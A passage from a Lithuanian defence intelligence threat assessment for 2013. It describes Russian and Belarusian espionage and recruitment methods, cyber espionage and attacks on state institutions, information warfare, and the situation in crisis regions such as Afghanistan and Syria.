sumažina galimybes artimoje perspektyvoje išspręsti Gruzijos teritorinio integralumo 
klausimą. Po 2012 m. parlamento ir 2013 m. prezidento rinkimų, kardinaliai pasikeitus 
šalies politinių jėgų pusiausvyrai, Gruzija siekia dvišalių santykių su Rusija 
normalizavimo, bet deklaruoja, kad euroatlantinė integracija išlieka jos prioritetu. 
Tikėtina, kad dėl intensyvėjančio Gruzijos bendradarbiavimo su ES ir NATO jai teks 
susidurti su vėl augančiu Rusijos spaudimu. 

Rusijos kontroliuojama karinė NVS erdvės šalių organizacija – KSSO – ir toliau 
išlieka ne bendrų interesų vienijamu funkcionaliu aljansu, o priedanga Rusijos kariniam 
bendradarbiavimui su atskiromis organizacijos narėmis. 
 
 

PRIEŠIŠKA ŽVALGYBINĖ VEIKLA 
 

Rusijos žvalgybos ir saugumo tarnybų veikla 
Aktyviausiai žvalgybinę veiklą, nukreiptą prieš Lietuvos nacionalinį saugumą ir 

valstybės interesus, vykdo Rusijos žvalgybos ir saugumo tarnybos: Užsienio žvalgybos 
tarnyba (SVR), Federalinė saugumo tarnyba (FSB) ir Ginkluotųjų pajėgų Generalinio 
štabo Vyriausioji žvalgybos valdyba (GRU). 

FSB, pasinaudodama jai suteiktais plačiais įgaliojimais, aktyviai veikia prieš 
Rusijoje viešinčius su Lietuvos gynyba susijusius asmenis ir ypač – prieš šioje valstybėje 
reziduojantį Lietuvos gynybos atašė biuro personalą. Taip pat FSB turi išvystytus 
kibernetinio šnipinėjimo ir kitus žvalgybos techninėmis priemonėmis pajėgumus, 
kuriuos aktyviai naudoja rinkdama informaciją, susijusią su Lietuvos gynybine galia. 

Pažymėtina, kad aktyviausiai žvalgybinę veiklą, nukreiptą prieš Lietuvos 
gynybinę galią ir krašto apsaugos sistemą (KAS) Lietuvoje ir iš Rusijos teritorijos vykdo 
GRU. GRU nuolat domisi: 

 su Lietuvos gynyba susijusia infrastruktūra; 
 KAS personalu ir jų pasirengimu; 
 Lietuvos gynybiniais pajėgumais ir galimybėmis; 
 už šalies gynybą atsakingų institucijų pažeidžiamumu; 
 Lietuvos dalyvavimu tarptautinėse karinėse misijoje ir operacijose; 
 tarptautiniais kariniais projektais, bendradarbiavimu gynybos srityje ir 

pasirengimu vykdyti šalies gynybą su NATO partneriais. 
Siekdamos surinkti įslaptintą ir kitą su Lietuvos gynyba susijusią svarbią ir 

Rusijos informacijos poreikius atitinkančią informaciją, Rusijos žvalgybos ir saugumo 
tarnybos naudoja platų spektrą žvalgybos metodų (žr. schemą žemiau). 
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1. Žmogiškoji žvalgyba. Šis žvalgybinės veiklos metodas remiasi informacijos 

rinkimu bendraujant su žmonėmis. Didžiausią žvalgybinio pobūdžio grėsmę Lietuvos 
gynybos interesams kelia Rusijos žvalgybos ir saugumo tarnybų užverbuotų agentų ir 
informacijos šaltinių panaudojimas. Šio pobūdžio bendradarbiavimas vyksta slaptai, 
laikantis griežtos konspiracijos ir remiasi abipusiu žvalgybos tarnybos atstovo ir 
užverbuoto asmens susitarimu. Taip pat Rusijos žvalgybos tarnybų atstovai informaciją 
renka dalyvaudami įvairaus pobūdžio renginiuose ir bendraudami su Lietuvos gynyba 
susijusių institucijų darbuotojais dvišalio bendradarbiavimo arba kitu pagrindu. 

Rusijos 
žvalgybos tarnybų 
atstovai, siekdami 
sukurti agentūrinį ir 
informacijos šaltinių 
tinklą, kuris teiktų 
žvalgybos poreikius 

atitinkančią 
informaciją bei 
vykdytų kitas 
žvalgybines užduotis, 
naudoja tradicinę 
keturių etapų 
verbavimo taktiką (žr. 
schemą kairėje). 
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Rusijos žvalgybos ir saugumo tarnybos asmenis (verbavimo taikinius), kurie bus 
verbuojami, pasirenka ne atsitiktinai, o pagal šiuos pagrindinius kriterijus:  

1. Asmens galimybė gauti dominančią informaciją ir vykdyti kitas žvalgybines 
užduotis šiuo metu arba ateityje. 
2. Asmens motyvas bendradarbiauti su užsienio žvalgybos ir saugumo 
tarnybomis arba galimybės jį paveikti pasinaudojant jo pažeidžiamumu 
(nusivylimu, pykčiu, sudėtinga finansine padėtimi, priklausomybėmis, prorusiška 
ideologija, turimais ir turėtais giminystės, mokslo, tarnybos ryšiais su Rusija ir 
kt.). 
Paprastai informacija apie pasirinktą verbavimo taikinį renkama slaptai, šiam 

nežinant. Informacija renkama iš atvirų ir lengvai prieinamų informacijos šaltinių, tokių 
kaip socialiniai tinklai (pvz., „Facebook“, „Twitter“ ir kt. profiliai), spauda (įskaitant 
leidinius, leidžiamus KAS), taip pat verbavimo taikinio aplinkos, pasinaudojant Rusijos 
žvalgybos ir saugumo tarnybų darbuotojų agentūriniu ir informacijos šaltinių tinklu, 
sekant bei renkant informaciją techninėmis priemonėmis (vykdant el. pašto ir telefono 
pokalbių kontrolę). 

Nustačius, kad verbavimo taikinys atitinka minėtus verbavimo taikinio parinkimo 
kriterijus, pradedamas aktyvus jo verbavimo procesas, t. y. vykdomas priartėjimas prie 
taikinio ir organizuojamas pirminis kontaktas, kuris paprastai taikiniui atrodo kaip 
atsitiktinis ir nekeliantis jokių įtarimų. Priartėjimo prie taikinio, kaip ir kituose etapuose, 
aktyvius veiksmus verbuojamo asmens atžvilgiu gali vykdyti pats Rusijos žvalgybos ar 
saugumo tarnybos darbuotojas arba jo jau užverbuotas agentas. 

Užmezgę pirminį kontaktą, Rusijos žvalgybos ar saugumo tarnybų darbuotojai 
pamažu siekia vis didesnio verbavimo taikinio pasitikėjimo ir draugystės. Šio 
„draugiško“ bendravimo pradžioje prašoma pateikti neįslaptintos informacijos ir atlikti 
iš pirmo žvilgsnio nereikšmingas užduotis, už kurias atsilyginama maža dovanėle ar 
paslauga. Ilgainiui užduotys tampa sudėtingesnės, o prašomos informacijos turinys 
tampa susijęs su tarnybos ar valstybės paslaptimis. Daugeliu atvejų verbavimo taikiniui 
tiesiogiai nepasiūloma šnipinėti kitos valstybės naudai, bet į šią nusikalstamą veiklą 
asmuo įtraukiamas palaipsniui ir nepastebimai. 

Atkreiptinas dėmesys, kad verbavimo procesas paprastai yra ilgalaikis, galintis 
tęstis iki kelerių metų, o jo trukmė dažniausiai priklauso nuo verbavimo taikinio svarbos 
ir verbuojamojo asmens motyvo bendradarbiauti. Pažymėtina, kad užverbavus asmenį 
informacijos rinkimas apie jį ir jo šeimos narius bei asmeninio gyvenimo slaptas 
kontroliavimas nėra nutraukiamas. Rusijos žvalgybos ir saugumo tarnybos siekia 
sukurti tokias aplinkybes, kad užverbuotam asmeniui būtų sudėtinga atsisakyti tęsti 
bendradarbiavimą (asmuo skatinamas patraukliu piniginiu atlygiu, vertingomis 
dovanomis, o kritiniu atveju  – taikant prievartos metodus (šantažuojant)). Tokie Rusijos 
žvalgybos ar saugumo tarnybų darbuotojų veiksmai  – kruopščiai suplanuota žvalgybinė 
operacija. 

Veikiant prieš Lietuvos gynybinę galią, žvalgybinei priedangai aktyviai 
panaudojamas Rusijos gynybos atašė biuro Lietuvoje personalas, priklausantis Rusijos 
karinei žvalgybai GRU. Naudodamiesi diplomatiniu statusu, GRU darbuotojai įvairiais 
žvalgybiniais metodais renka Rusijos kariniam planavimui reikalingą informaciją. Be 
diplomatinės priedangos, palankias sąlygas vykdyti žvalgybinę veiklą sudaro ir Lietuvoje 
veikiančių Rusijos remiamų ir finansuojamų nevyriausybinių organizacijų ir kitų 
subjektų veikla. GRU darbuotojai, veikiantys po diplomatine priedanga, dalyvauja 
Afganistano karo veteranų klubų, VšĮ „VVKUR“, Lietuvos karo istorijos asociacijos 
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„Užmiršti kareiviai“, VšĮ „Karo paveldo institutas“ renginiuose, kuriuose neretai 
dalyvauja ir su Lietuvos gynyba susijęs personalas. 

Šnipinėjimo tyrimai nebūtinai užbaigiami užsienio žvalgybos tarnybų pareigūno 
/ agento sulaikymu ar išsiuntimu iš valstybės. Kartais efektyviau pasinaudoti užsienio 
žvalgybos tarnybų priešiška veikla, rinkti apie ją žvalgybinę informaciją ir, tokią veiklą 
kontroliuojant, neutralizuoti šnipinėjimu daromą žalą. 

2. Žvalgyba techninėmis priemonėmis. Rusijos žvalgybos tarnybos, rinkdamos 
informaciją, susijusią su Lietuvos gynybine 
galia, aktyviai naudoja turimus signalų 
žvalgybos ir kibernetinio šnipinėjimo 
pajėgumus.  

Signalų žvalgyba. Kaliningrado 
srityje dislokuoti Rusijos žvalgybos ir 
saugumo tarnybų antžeminiai signalų 
žvalgybos infrastruktūros objektai leidžia 

vykdyti plataus spektro komunikacijų 
(radijo, mobiliojo, palydovinio, 
radiolokacinio ir kitų signalų) perėmimą 
visoje Lietuvos teritorijoje. Vykdant 
signalų žvalgybą be antžeminių objektų 
naudojamos ir mobilios signalų 
žvalgybos platformos, tokios kaip 
žvalgybos laivai ir lėktuvai. Žvalgybos ir 
saugumo tarnybos signalų žvalgybos 
priemonėmis renka informaciją apie su 
Lietuvos gynybine galia ir KAS susijusią infrastruktūrą, objektus bei personalą. 

Kibernetinis šnipinėjimas. Rusijos žvalgybos ir saugumo tarnybų vykdoma 
žvalgybinė veikla naudojantis kibernetinės erdvės galimybėmis, siekis padidinti jau 
turimus kibernetinius pajėgumus ir įgyti dar didesnę svarbą kibernetinėje erdvėje kelia 
grėsmę Lietuvos nacionaliniam saugumui ir šalies gynybinei galiai. Rusijos žvalgybos 
subjektų turima techninė įranga, skirta kompiuterinių tinklų srautui perimti, taip pat 
įranga, leidžianti kontroliuoti socialinių tinklų vartotojus, vykdyti kompiuterių ir 
mobiliųjų įrenginių nuotolinę kontrolę, bevielio kompiuterinio tinklo analizatoriai ir 
pan. jau dabar leidžia Rusijos žvalgybos bei saugumo tarnyboms vykdyti šnipinėjimą, 
aktyviąsias puolamąsias (prasiskverbimo) operacijas arba kitaip kontroliuoti 
automatizuotų duomenų apdorojimo (ADA) sistemų ir tinklų vartotojus. 

(Detalesnė informacija pateikta kibernetinių grėsmių vertinime.)  
3. Žvalgyba iš atvirųjų informacijos šaltinių. Šis žvalgybos metodas 

priskiriamas „baltajai žvalgybai“, kuri apima informacijos rinkimą iš viešai prieinamų 
informacijos šalinių, pateikiančių informacijos Lietuvos gynybos tematika. Informacija, 
atitinkanti Rusijos žvalgybos tarnybų poreikius, renkama ne tik informaciniuose 
interneto portaluose, forumuose, svetainėse, bet ir iš KAS bei kitų institucijų ir 
organizacijų leidžiamų informacinių leidinių bei mokslinių straipsnių. Informacija iš 
atvirųjų šaltinių, kuri neretai skelbiama per daug atvirai, papildo bendrą žvalgybinės 
situacijos paveikslą ir yra tikrinama kitais žvalgybiniais metodais. Užsienio žvalgybos ir 
saugumo tarnybos taip pat gali pasinaudoti pernelyg atvirai viešojoje erdvėje (pvz., 
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socialiniuose tinkluose, forumuose) skelbiama asmeninio pobūdžio ir su darbine veikla 
susijusia informacija. 

Baltarusijos žvalgybos ir saugumo tarnybų veikla 
Prieš Lietuvos nacionalinį saugumą ir valstybės interesus veikia Baltarusijos 

valstybės saugumo komitetas (KGB) ir Baltarusijos ginkluotųjų pajėgų Generalinio štabo 
Vyriausioji žvalgybos valdyba (GRU). 

Baltarusijos KGB pagrindinė užduotis yra užtikrinti Baltarusijos autoritarinio 
režimo saugumą ir politinį stabilumą šalyje. Prieš Lietuvos gynybinę galią veikia 
Baltarusijos GRU, kuri žvalgybinę veiklą vykdo Lietuvos teritorijoje ir iš Baltarusijos 
teritorijos. Pažymėtina, kad šios tarnybos žvalgybinės veiklos metodai ir domėjimosi 
sritys yra labai panašūs, o atskirais atvejais ir sutampa su Rusijos GRU veiklos metodais 
bei interesais. Vykdydama žmogiškąją žvalgybą, be kitų priedangų Baltarusijos GRU 
žvalgybiniams tikslams pasiekti naudojasi ir žurnalistine priedanga. Rusijos ir 
Baltarusijos žvalgybos tarnybos, siekdamos žvalgybinių tikslų ir didindamos 
informacijos prieinamumą, aktyviai bendradarbiauja keisdamosi žvalgybinio pobūdžio 
informacija ir vykdydamos operacijas. 

 
KIBERNETINIŲ GRĖSMIŲ VERTINIMAS 
 
2013 m. kibernetinių incidentų skaičius prieš Lietuvos valstybinių institucijų ADA 

sistemas ir tinklus, privačių kompanijų bei asmenų kompiuterius didėjo, o išpuolių 
technologijos, metodai bei būdai neteisėtam prasiskverbimui, lyginant su 2012 m., dar 
labiau sudėtingėjo. 

Kibernetinius išpuolius prieš Lietuvos valstybinių institucijų ADA sistemas ir 
tinklus, privačias kompanijas bei asmenis skirtingais tikslais vykdo skirtingi 
kibernetiniai įsibrovėliai, kuriuos santykinai galima suskirstyti į dvi grupes. Pirmajai 
grupei priskirtini valstybės ar valstybės remiami, finansuojami kibernetiniai įsibrovėliai, 
vykdantys valstybės, žvalgybos ir saugumo tarnybų užsakymus, turintys pakankamai 
išteklių, pajėgumų bei aiškiai išreikštus ketinimus vykdyti veiklą kibernetinėje erdvėje. 
Antrajai grupei priskirtini kibernetiniai įsibrovėliai, kibernetinėje erdvėje siekiantys 
asmeninės turtinės ar kitokios naudos bei veikiantys savarankiškai, t. y. be valstybės, 
saugumo ir žvalgybos tarnybų nurodymų ar užsakymų. 
AOTD vertinimu, didžiąją dalį kibernetinių incidentų, nukreiptų prieš Lietuvos 
valstybinių institucijų ADA sistemas ir tinklus, 2013 m. vykdė užsienio valstybių 
žvalgybos ar saugumo tarnybos ar su šiomis tarnybomis susiję arba šių tarnybų 
kontroliuojami ir remiami subjektai. Didžiausius kibernetinius pajėgumus, nukreiptus 
rinkti informaciją, trikdyti ADA sistemų ir tinklų funkcionavimą, juos užvaldyti arba 
kitaip paveikti, turi Rusijos žvalgybos ir saugumo tarnybos, ypač FSB struktūriniai 
padaliniai. 

 
Kibernetinis šnipinėjimas 
Vykdant aktyviąsias kontržvalgybos priemones3, kibernetinėje erdvėje 2013 m. 

pirmąjį pusmetį užfiksuoti kibernetiniai incidentai, susiję su šnipinėjimui skirtų 

                                                           

3 Aktyviosios kontržvalgybos priemonės – tai kontržvalgybiniai tyrimai, analizė ir operacijos, būtini 
nustatyti, įvertinti ir pašalinti ar sumažinti rizikos veiksnius, pavojus ir grėsmes, kylančias šalies gynybinei 
galiai. Pasyviosios kontržvalgybos priemonės – tai veiksmai, skirti informacijos, sudarančios valstybės ar 
tarnybos paslaptį, apsaugai ir kontrolei organizuoti ir vykdyti. Šios priemonės apima ir prevencinius 



17 
 

 

 

programų platinimu. Šnipinėjimo programos veikla arba šios programos pėdsakai buvo 
aptikti daugelio valstybės institucijų ADA sistemose ir tinkluose. Departamento aptikta 
šnipinėjimo programa ir jos naujosios versijos skirtos kompiuteryje esančių duomenų 
rinkimui, nuotoliniam užkrėsto kompiuterio administravimui, tinklo monitoringui, 
paskyrų ir slaptažodžių identifikavimui tinkle, taip pat vaizdo bei garso fiksavimui. 
Nustatyta, kad šnipinėjimo programos išplito kompiuteriuose, kuriuose buvo 
apdorojama informacija, susijusi su Lietuvos vidaus ir užsienio politika, vidaus saugumu, 
energetikos projektais, ES ir Lietuvos pirmininkavimu ES Tarybai. 

Atkreiptinas dėmesys, kad tarptautinių informacinių technologijų (IT) 
kompanijų4 2014 m. identifikuotos šnipinėjimo programos („Snake rootkit“, „Turla“, 
„Uroburos“) yra 2012 m. AOTD aptiktos šnipinėjimo programos naujausios versijos. Šios 
ataskaitos priede pateikta naujesnė 2012 m. viešojoje ataskaitoje paskelbtos šnipinėjimo 
programos versija. Tai šnipinėjimo programos techninė analizė, pagal kurią įmonių ar 
įstaigų informacinių technologijų specialistai ir privatūs asmenys galėtų patikrinti savo 
įstaigos kompiuterių tinklus ir asmeninius kompiuterius. 

2013 m. buvo fiksuojami ir nuolatiniai bei agresyvūs valstybės institucijų 
interneto tinklų žvalgybinio pobūdžio skenavimai, kurių pagrindinis tikslas susijęs su 
informacijos rinkimu apie kompiuterio ar tinklo pažeidžiamumus, leidžiančius neteisėtai 
juos užvaldyti ar kitaip veikti. 

 
Kibernetinės atakos 
Kibernetiniai įsibrovėliai 2013 m. ne tik aktyviai šnipinėjo, bet ir trikdė Lietuvos 

valstybinių institucijų informacinių sistemų veiklą. Dėl to galėjo būti padaryta žala 
Lietuvos nacionaliniam saugumui ir šalies gynybinei galiai. Turimais duomenimis, 2013 
m. antrojoje pusėje prieš Lietuvos valstybines institucijas skirtingu laiku buvo įvykdytos 
atsisakymo aptarnauti (DDoS tipo) atakos, buvo nustatytas padidėjęs užkrėstų lietuviškų 
interneto svetainių skaičius, tikėtina, dėl tikslinių kibernetinių atakų kurį laiką neveikė 
daugelio valstybės institucijų interneto svetainių apsaugos sistemos. Be to, būta kai 
kurių valstybės institucijų įvairių informacinių sistemų sutrikimų, siejamų su 
tiesioginėmis kibernetinėmis atakomis. 

Kibernetinių atakų skaičiaus padidėjimą antrajame 2013 m. pusmetyje galima 
sieti su Lietuvos pirmininkavimu ES Tarybai, 2013 m. rudenį vykusiais Rusijos–
Baltarusijos kariniais mokymais „Zapad 2013“, NATO pratybomis „Steadfast Jazz 2013“ , 
taip pat ir su 2013 m. pabaigoje prasidėjusiais įvykiais Ukrainoje. Neatmestina, kad 
techniniai informacinių sistemų sutrikimai, užkrėstos svetainės ir neveikiančios 
lietuviškų svetainių apsaugos sistemos, kiti incidentai gali būti susiję su galimomis 
kibernetinėmis atakomis prieš šias sistemas, o atakų tikslai galėjo būti dvejopo 
pobūdžio. Pirmiausia kibernetines atakas galima vertinti kaip nukreipiančiąsias, t. y. 
atakos vykdomos tol, kol pavyksta įsiskverbti į atakuojamą sistemą (sistemas), 
neatsižvelgiant į tai, kad apsaugos sistemos informuoja apie atremtą ataką. Kita vertus, 
minėtas atakas bei incidentus galima vertinti ir kaip didelio masto žvalgybinę operaciją 
arba įsiskverbimo fazės parengiamuosius darbus, kurių tikslas gali būti ir nesusijęs su 
žalos pavienėms sistemoms ar įrenginiams padarymu, bet žvalgybinės operacijos metu 

                                                                                                                                                                                      

veiksmus, užtikrinančius ne tik įslaptintos informacijos apsaugą, bet ir fizinį saugumą, taikomą įvairiuose 
KAS objektuose, Lietuvos nuolatinėje atstovybėje prie NATO ir gynybos atašė biuruose, bei KAS personalo 
patikimumą ir KAS įslaptintų sandorių saugumo užtikrinimą. 
4 „GData“, „BAE System“. 
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surinkta informacija ateityje (iš anksto numatytą dieną X) gali būti panaudota didelio 
masto kibernetinei atakai. Verta paminėti, kad 2013 m. didelio masto kibernetinių atakų, 
išskyrus ataką prieš interneto portalą „Delfi“, Lietuvoje nebuvo, bet, AOTD turimais 
duomenimis, panašaus pobūdžio atakos buvo planuojamos mažiausiai du kartus. 

 
Kito pobūdžio kibernetiniai incidentai  
Be kibernetinio šnipinėjimo, kibernetinių atakų ir valstybės institucijų interneto 

tinklų žvalgybinių skenavimų, 2013 m. KAS personalas nuolat patirdavo galimai 
socialinės inžinerijos (spear phishing) pobūdžio kibernetinius incidentus, kai į savo 
tarnybinį el. paštą gaudavo elektroninius laiškus su pridėtais failais arba nuorodomis. 
Dažniausiai tokio pobūdžio atakos vykdomos siekiant neteisėtai gauti kompiuterio 
vartotojo vardą, prisijungimo slaptažodžius, taip pat kontroliuoti pašto dėžutę. Atidarius 
pridėtus failus (dokumentus) arba paspaudus nuorodą, kompiuteris užkrečiamas ir į 
tarpinius serverius siunčiami pavogti duomenys. Atkreiptinas dėmesys, kad po 
socialinės inžinerijos atakos dalis šios atakos respondentų po tam tikro laiko būdavo 
pakartotinai atakuojami (vykdant DDoS tipo ataką arba bandant instaliuoti šnipinėjimo 
programą, išsiunčiant elektroninį laišką su pridėtu failu su šnipinėjimo užkratu viduje). 

 
Grėsmės mobiliųjų įrenginių vartotojams 
2012 m. AOTD viešojoje ataskaitoje prognozavome, kad ateityje mobiliųjų 

technologijų vartotojai sulauks daugiau dėmesio, t. y. kibernetiniai įsibrovėliai nemažai 
pastangų nukreips į naujų pažeidžiamumų šiose technologijose paieškas. Per 
pastaruosius kelerius metus pasaulyje ypač išaugęs mobilių įrenginių (ypač išmaniųjų) 
pardavimas kibernetinių agresorių nebuvo nepastebėtas. Lygiagrečiai su šių įrenginių 
pardavimu panašiu laikotarpiu daugėjo ir kibernetinių atakų, nukreiptų prieš 
mobiliuosius įrenginius, nepriklausomai nuo mobilių įrenginių operacinių sistemų. 
Prognozuojama, kad atakų skaičius ateityje augs. 

Atkreipiame dėmesį, kad pasaulio rinkoje atsirado įrangos, skirtos mobiliųjų 
technologijų (išmaniųjų telefonų) vartotojams šnipinėti, kuriai nereikia, kad vartotojas 
atliktų kokius nors papildomus veiksmus, t. y. vartotojui nebereikia spausti jokių 
nuorodų, parsisiųsti kokių nors programų. Mobiliųjų įrenginių vartotojui užtenka tik 
apsilankyti užkrėstame puslapyje arba gauti užkrėstą SMS žinutę iš pažįstamo arba 
nepažįstamo asmens (žinutės turinys reikšmės neturi). Ankščiau, norint į mobilųjį 
įrenginį instaliuoti šnipinėjimui skirtą programą, buvo būtinas fizinis kontaktas su 
telefono aparatu arba reikėjo, kad mobilaus įrenginio vartotojas aparatu atliktų tam 
tikrus veiksmus (paspaustų gautą nuorodą, parsisiųstų programą ir pan.). 

 
*** 
Tikėtina, kad šios šnipinėjimo priemonės, taip pat Rusijos žvalgybos subjektų 

turima techninė įranga jau dabar leidžia Rusijos žvalgybos bei saugumo tarnyboms 
vykdyti šnipinėjimą, aktyviąsias puolamąsias (prasiskverbimo) operacijas arba kitaip 
kontroliuoti ADA sistemų ir tinklų vartotojus. 

AOTD vertinimu, kibernetinių incidentų skaičius didės, o pati kibernetinė 
erdvė bus viena pagrindinių užsienio valstybių veiklos erdvių vykdant tiek 
šnipinėjimą, tiek kitaip trikdant svarbių Lietuvos nacionaliniam saugumui, šalies 
gynybinei galiai, kitų svarbių valstybės objektų, taip pat privataus sektoriaus bei 
privačių asmenų ADA sistemas, tinklus bei atskirus kompiuterius. 
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Užsienio valstybių žvalgybos tarnyboms ir (ar) su jais susijusiems, galimai 
kontroliuojamiems subjektams kibernetinį šnipinėjimą bei kitą pavojingą veiklą 
kibernetinėje erdvėje (žvalgybinį skenavimą, kibernetines, socialinės inžinerijos 
atakas ir pan.) paprasčiau vykdyti leido šie veiksniai: 

 kibernetinio saugumo įstatymo ir efektyviai funkcionuojančios institucijos, 
atsakingos už kibernetinį saugumą (gynybą), nebuvimas; 

 standartizuotų ADA sistemų ir tinklų, atskirų, prie tinklų neprijungtų 
kompiuterių privalomų minimalių saugumo užtikrinimo reikalavimų 
nebuvimas ar esamų minimalių reikalavimų nesilaikymas; 

 lengvabūdiškas / neatsakingas elgesys dirbant su ADA sistemomis ir 
tinklais bei su prie tinklų neprijungtais kompiuteriais. 

 
INFORMACINĖS GRĖSMĖS 
 
Išorės veikėjų informacinės atakos prieš Lietuvą tapo nuolatinėmis. Jų 

intensyvumas ypač išaugdavo tada, kai Lietuva aktyviai įsijungdavo į tarptautinius 
procesus ar stengdavosi įgyvendinti savo užsienio ir vidaus politikos prioritetus. 
Esminiai Rusijos informacinės politikos uždaviniai – didinti Lietuvos visuomenės 
priklausomybę nuo Rusijos kuriamo informacinio turinio, prisidėti prie visuomenės, 
atskirų jos grupių ar individų mentaliteto ir pasaulėjautos formavimo, skatinti 
susipriešinimą visuomenės viduje ir su užsienio partneriais. Įgyvendinant šiuos 
uždavinius siekiama pagrindinio tikslo – naudojantis informacinėmis priemonėmis 
užsitikrinti, kad Lietuvos vykdoma politika atitiktų Rusijos interesus. 

2013 m. užsienio informaciniuose kanaluose aktyviai atspindėta Lietuvos veikla 
siekiant gilinti Ukrainos bendradarbiavimą su ES, plėtojami energetinės 
nepriklausomybės projektai, parama JAV priešraketinės gynybos programai, diskusijos 
dėl Rusijos ir Baltarusijos karinio aktyvumo bei noras gerinti NATO matomumą Baltijos 
regione. Iššūkį sudaro ne tiek toks temų parinkimas, kiek jų pristatymo būdas užsienio 
informaciniuose kanaluose ir greita sklaida tarp įvairių šaltinių. Dažnai tema pateikiama 
įterpiant Rusijos interesus ir poziciją atitinkančią informaciją. Lietuvoje esančios plačios 
įvairios informacijos sklaidos galimybės sudaro sąlygas, kad Rusijos žiniasklaidoje 
pateikiama informacija būtų pasiekiama ir Lietuvos gyventojams. 

2013 m. rugsėjį vykę strateginiai mokymai „Zapad 2013“ ir 2013 m. gruodį 
pasirodžiusi informacija apie galimą „Iskander“ komplekso dislokavimą Kaliningrado 
srityje parodė, kad kritiniais atvejais Rusijai tinkamam informaciniam laukui suformuoti 
panaudojamas platus arsenalas priemonių – nuo aukščiausių politinių vadovų 
pareiškimų iki Lietuvą pašiepiančių karikatūrų. Lietuvos vykdomi veiksmai taip pat 
panaudojami savai veiklai pagrįsti. Dideles skaitytojų auditorijas turinčiuose leidiniuose 
buvo galima perskaityti, kad Rusija ir Baltarusija turi teisę vykdyti ginkluotųjų pajėgų 
kovinio rengimo tobulinimą, kai NATO pratybose „Steadfast Jazz“ stengiamasi atremti 
grėsmes iš Rytų. „Iskander“ dislokavimas esą yra tik viena iš priemonių, atsakant į 
priešraketinės gynybos elementų dislokavimą Europoje. 

Tęstos iniciatyvos, skirtos pozityviam eurazinių projektų (Muitų sąjunga, 
Eurazijos ekonominė sąjunga) įvaizdžiui formuoti. Pastebėtina, kad pirmiausiai ši veikla 
yra nukreipta į minėtų organizacijų šalių narių vidinę auditoriją, bet taip pat siekiama 
informuoti apie galimą naudą Lietuvos žmonėms ir verslui. Apie panašią patrauklumo ir 
naudos Lietuvai galimybę informaciniuose šaltiniuose kalbama ir tuomet, kai aptariami 
Baltijos regione Rusijos plėtojami energetikos projektai. 
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Bent jau artimoje ateityje prieš Lietuvą vykdomų informacinių atakų 
intensyvumas nemažės. Artimiausiu metu pagrindiniai taikiniai bus Lietuvos pozicija 
Rusijos–Ukrainos konflikto atžvilgiu ir NATO sprendimas didinti karinius pajėgumus 
Rytų Europoje. Po Ukrainos įvykių išaugęs Lietuvos visuomenės dėmesys informacinėms 
atakoms Rusiją tik dar labiau paskatins ieškoti naujų poveikio metodų. Tikėtina, kad 
formuojant Lietuvos viešąją nuomonę bus stengiamasi labiau naudotis socialiniais 
tinklais ir aktyviau veikti Lietuvos žiniasklaidoje. Nemažinant pastangų formuoti visos 
Lietuvos viešąją nuomonę, gali būti suaktyvintas darbas su jaunimo grupėmis ir 
rusakalbiais Lietuvoje.  

 
KRIZIŲ REGIONAI 
 
Kai kuriuose geografiškai nuo Lietuvos nutolusiuose pasaulio regionuose 

egzistuoja sąlygos, dėl kurių formuojasi įtampos ir nestabilumo židiniai, kyla etniniai, 
religiniai ar tarpvalstybiniai konfliktai. Būdama tarptautinės bendruomenės, NATO ir ES 
narė, Lietuva prisideda stengiantis sureguliuoti šiuos konfliktus. Atsižvelgiant į tai, 
nestabiliuose regionuose vykstantys procesai ir reiškiniai tampa svarbiais veiksniais 
Lietuvos nacionaliniam saugumui. 

 
Afganistanas 
2013 m. Afganistano nacionalinėms saugumo pajėgoms perėmus atsakomybę už 

didžiąją dalį šalies teritorijos, ryškus situacijos pagerėjimas ar pablogėjimas neįvyko. 
Saugumo situacija šalyje išliko nestabili, o dėl sukilėlių veiklos žuvo 5 371 civilis 
afganistanietis. Saugumo situacijos nestabilumas lemia lėtą šalies ūkio vystymąsi ir 
didelę priklausomybę nuo tarptautinių donorų finansinės pagalbos. 

2014 metais situacija šalyje liks įtempta. Užsitęsę politiniai nesutarimai, 
visuomenės susiskaldymas, tarptautinių pajėgų išvedimas ir nepakitusi konfrontacinė 
Talibano pozicija gali dar labiau destabilizuoti situaciją. Kita vertus, taikus valdžios 
perdavimas po 2014 m. prezidento rinkimų padėtų išlaikyti stabilumą šalyje. Toliau 
stiprėjančios Afganistano nacionalinės saugumo pajėgos, nenutrūkusi tarptautinė 
parama ir visuomenėje įsitvirtinantis nepritarimas Talibanui yra veiksniai, kurie galėtų 
paskatinti talibus ieškoti kompromisų ir derėtis dėl ginkluotos kovos nutraukimo. 2014 
m. vyksiantys pokyčiai šalies politikoje, ekonomikoje ir saugumo situacijoje lems, ar 
Afganistanas ir toliau palaipsniui vienysis, tęs reformas ir vystysis, ar susiskaldys ir 
nugrims į nesibaigiančius gentinius-etninius konfliktus. 

 
Vidurio Rytai ir Šiaurės Afrika 
2013 m. tarptautinės bendruomenės dėmesio centre Vidurio Rytų regione išliko 

Sirija. 2013 m. rudenį prasidėjęs Sirijos cheminio ginklo sunaikinimo procesas neturi 
reikšmingos įtakos vidaus situacijai, kuri tebėra aklavietėje: nei režimas, nei jam 
oponuojančios grupės ginkluotame konflikte nesugeba pasiekti esminio persilaužimo. 
Nuo 2011 m. Sirijoje žuvo daugiau kaip 140 tūkst. žmonių. 

Sirijos konfliktas daro didelę įtaką nestabilumui visame regione, labiausiai Irake 
ir Libane, kur aštrėja tarpkonfesinė priešprieša ir didėja ekstremistinių grupuočių 
aktyvumas. Taip pat konfliktas sukėlė didelio masto regioninę humanitarinę krizę – 
pabėgėlių srautai kelia rūpestį kaimyninėms valstybėms ir didina socialinės įtampos 
tikimybę. 
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Vidurio Rytuose išlieka intensyvi Irano ir Saudo Arabijos konkurencija dėl 
regiono lyderio statuso. Pagrindinės Irano ir Saudo Arabijos kovos dėl įtakos arenos yra 
konfesiniu požiūriu nevienalytės regiono valstybės: Sirija, Libanas, Irakas. Tęsiasi Irano 
ir tarptautinės bendruomenės derybos dėl Teherano branduolinės programos. 2013 m. 
pasiektas proveržis, kuomet Iranui ir Vakarų valstybėms pavyko pasiekti laikinąjį 
susitarimą dėl programos plėtros įšaldymo, bet derybų dėl galutinio susitarimo procesas 
greičiausiai bus ilgas ir sunkus.  

 Egipte po prezidento islamisto nuvertimo naujuoju šalies lyderiu greičiausiai 
taps buvęs kariuomenės vadas Abdelis Fattahas al Sisis, bet stabilumo tikimybė maža: 
didėja radikalių grupuočių aktyvumas, daugėja išpuolių Sinajaus pusiasalyje, visuomenė 
